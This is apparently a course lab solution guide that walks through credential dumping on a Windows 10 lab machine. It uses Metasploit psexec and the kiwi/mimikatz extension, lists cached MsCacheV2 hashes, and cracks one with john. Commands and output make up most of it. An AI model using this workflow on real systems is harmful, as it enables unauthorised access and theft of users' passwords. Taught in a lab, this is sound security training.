



Solution Guide: Credential Dumping

In this activity, you used the Metasploit `kiwi` extension to dump the credentials cached on the WIN10 machine.

Instructions

1. Load the `psexec` module: use `exploit/windows/smb/psexec`
2. Set the following parameters:
 - `set RHOSTS 172.22.117.20`
 - `set SMBUSER tstark`
 - `set SMBPass Password!`
 - `set SMBDomain megacorpone`
 - `set LHOST 172.22.117.100`
3. Run the module with `run`.
4. In your Meterpreter session, load the `kiwi` extension.
 - `load kiwi`

```

meterpreter > load kiwi
Loading extension kiwi ...
.#####. mimikatz 2.2.0 20191125 (x86/windows)
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v #' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/

[!] Loaded x86 Kiwi on an x64 architecture.

Success.

```

5. Once a new extension is loaded into Metasploit, it will update the help menu. View the **kiwi** command options by calling the help menu in Meterpreter.

- ?

Kiwi Commands	
Command	Description
creds_all	Retrieve all credentials (parsed)
creds_kerberos	Retrieve Kerberos creds (parsed)
creds_livessp	Retrieve Live SSP creds
creds_msv	Retrieve LM/NTLM creds (parsed)
creds_ssp	Retrieve SSP creds
creds_tspkg	Retrieve TsPkg creds (parsed)
creds_wdigest	Retrieve WDigest creds (parsed)
dcsync	Retrieve user account information via DCSync (unparsed)
dcsync_ntlm	Retrieve user account NTLM hash, SID and RID via DCSync
golden_ticket_create	Create a golden kerberos ticket
kerberos_ticket_list	List all kerberos tickets (unparsed)
kerberos_ticket_purge	Purge any in-use kerberos tickets
kerberos_ticket_use	Use a kerberos ticket
kiwi_cmd	Execute an arbitrary mimikatz command (unparsed)
lsa_dump_sam	Dump LSA SAM (unparsed)
lsa_dump_secrets	Dump LSA secrets (unparsed)
password_change	Change the password/hash of a user
wifi_list	List wifi profiles/creds for the current user
wifi_list_shared	List shared wifi profiles/creds (requires SYSTEM)

6. Dump all the cached credentials from LSASS using a **kiwi_cmd** command.

- **kiwi_cmd lsadump::cache**

```

meterpreter > kiwi_cmd lsadump::cache
Domain : WINDOWS10
SysKey : 1197da08e9ae7a1a84a39e929702036c

Local name : WINDOWS10 ( S-1-5-21-2395882817-3035617120-3953015024 )
Domain name : MEGACORPONE ( S-1-5-21-1129708524-1666154534-779541012 )
Domain FQDN : megacorpone.local

Policy subsystem is : 1.18
LSA Key(s) : 1, default {46de65ce-2dfb-2544-3691-2047d4f65909}
  [00] {46de65ce-2dfb-2544-3691-2047d4f65909} c36e5df9ea31296eea49ba0a56c977e5b1cd8c238b7129a1863969b16b159814

* Iteration is set to default (10240)

[NL$1 - 1/18/2022 2:55:41 PM]
RID      : 00000455 (1109)
User     : MEGACORPONE\pparker
MsCacheV2 : af8bca7828a82d401c4c143fc51dfa72

[NL$2 - 1/18/2022 2:13:11 PM]
RID      : 00000453 (1107)
User     : MEGACORPONE\bbanner
MsCacheV2 : 9266b8f89ae43e72f582cd1f9f298ded

```

7. In the output, the hashes are displayed after the "MsCacheV2 field." MsCacheV2 is just the format of the hash. Save the hashes in the format `username:password`.
 - Using `john`, attempt to crack the password. Your `john` command should use the flag `--format=mscash2`, e.g., `john --format=mscash2 hashes.txt`.

```

(root@kali)~[~]
# john --format=mscash2 hashes.txt
Using default input encoding: UTF-8
Loaded 1 password hash (mscash2, MS Cache Hash 2 (DCC2) [PBKDF2-SHA1 512/512 AVX512BW 16x])
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 4 candidates buffered for the current salt, minimum 16 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
Winter2021 (bbanner)
1g 0:00:00:00 DONE 2/3 (2022-01-18 15:07) 2.173g/s 1978p/s 1978c/s 1978C/s 123456..donald
Use the "--show --format=mscash2" options to display all of the cracked passwords reliably
Session completed.

```

8. You should now have the plain-text password to the new account bbanner.
 - `bbanner:Winter2021`